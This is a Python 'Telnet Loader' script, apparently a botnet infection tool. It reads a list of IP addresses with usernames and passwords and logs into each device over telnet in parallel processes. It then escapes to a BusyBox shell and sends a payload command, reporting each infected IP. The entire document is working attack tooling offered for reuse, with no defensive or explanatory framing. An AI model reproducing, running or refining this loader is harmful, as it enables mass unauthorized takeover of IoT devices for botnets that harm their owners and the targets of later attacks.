[ Python ] Telnet Loader

//If you want to Modify any of this make sure you leave credits to the person that written this, :)

import sys, re, os, socket, time
from multiprocessing import Process

if len(sys.argv) < 2:
    sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")

cmd="" #payload to send
info = open(str(sys.argv[1]),'a+')

def readUntil(tn, string, timeout=8):
    buf = ''
    start_time = time.time()
    while time.time() - start_time < timeout:
        buf += tn.recv(1024)
        time.sleep(0.01)
        if string in buf: return buf
    raise Exception('TIMEOUT!')


def infect(ip,username,password):
    ip = str(ip).rstrip("\n")
    username = username.rstrip("\n")
    password = password.rstrip("\n")
    try:
        tn = socket.socket()
        tn.settimeout(10)
        tn.connect((ip,23))
    except Exception:
        tn.close()
    try:
        hoho = ''
        hoho += readUntil(tn, "ogin")
        if "ogin" in hoho:
            tn.send(username + "\n")
            time.sleep(0.09)
    except Exception:
        tn.close()
    try:
        hoho = ''
        hoho += readUntil(tn, "assword:")
        if "assword" in hoho:
            tn.send(password + "\n")
            time.sleep(0.8)
        else:
            pass
    except Exception:
        tn.close()
    try:
        prompt = ''
        prompt += tn.recv(40960)
        if ">" in prompt and "ONT" not in prompt:
            try:
                success = False
                tn.send("cat | sh" + "\n")
                time.sleep(0.1)
                timeout = 8
                data = ["BusyBox", "Built-in"]
                tn.send("sh" + "\n")
                time.sleep(0.01)
                tn.send("busybox" + "\r\n")
                buf = ''
                start_time = time.time()
                while time.time() - start_time < timeout:
                    buf += tn.recv(40960)
                    time.sleep(0.01)
                    for info in data:
                        if info in buf and "unrecognized" not in buf:
                            success = True
                            break
            except:
                pass
        elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
            try:
                success = False
                timeout = 8
                data = ["BusyBox", "Built-in"]
                tn.send("sh" + "\n")
                time.sleep(0.01)
                tn.send("shell" + "\n")
                time.sleep(0.01)
                tn.send("help" + "\n")
                time.sleep(0.01)
                tn.send("busybox" + "\r\n")
                buf = ''
                start_time = time.time()
                while time.time() - start_time < timeout:
                    buf += tn.recv(40960)
                    time.sleep(0.01)
                    for info in data:
                        if info in buf and "unrecognized" not in buf:
                            success = True
                            break
            except:
                pass
        else:
            tn.close()
        if success == True:
            try:
                tn.send(cmd + "\n")
                print "\033[32m[\033[31m+\033[32m] \033[33mPayload Sent!\033[32m %s"%(ip)
                time.sleep(20)
                tn.close()
            except:
                tn.close()
        tn.close()
    except Exception:
        tn.close()

for x in info:
    try:
        if ":23 " in x:
            x = x.replace(":23 ", ":")
        xinfo = x.split(":")
        session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
        session.start()
        ip=xinfo[0]
        username=xinfo[1]
        password=xinfo[2]
        time.sleep(0.01)
    except:
        pass
session.join()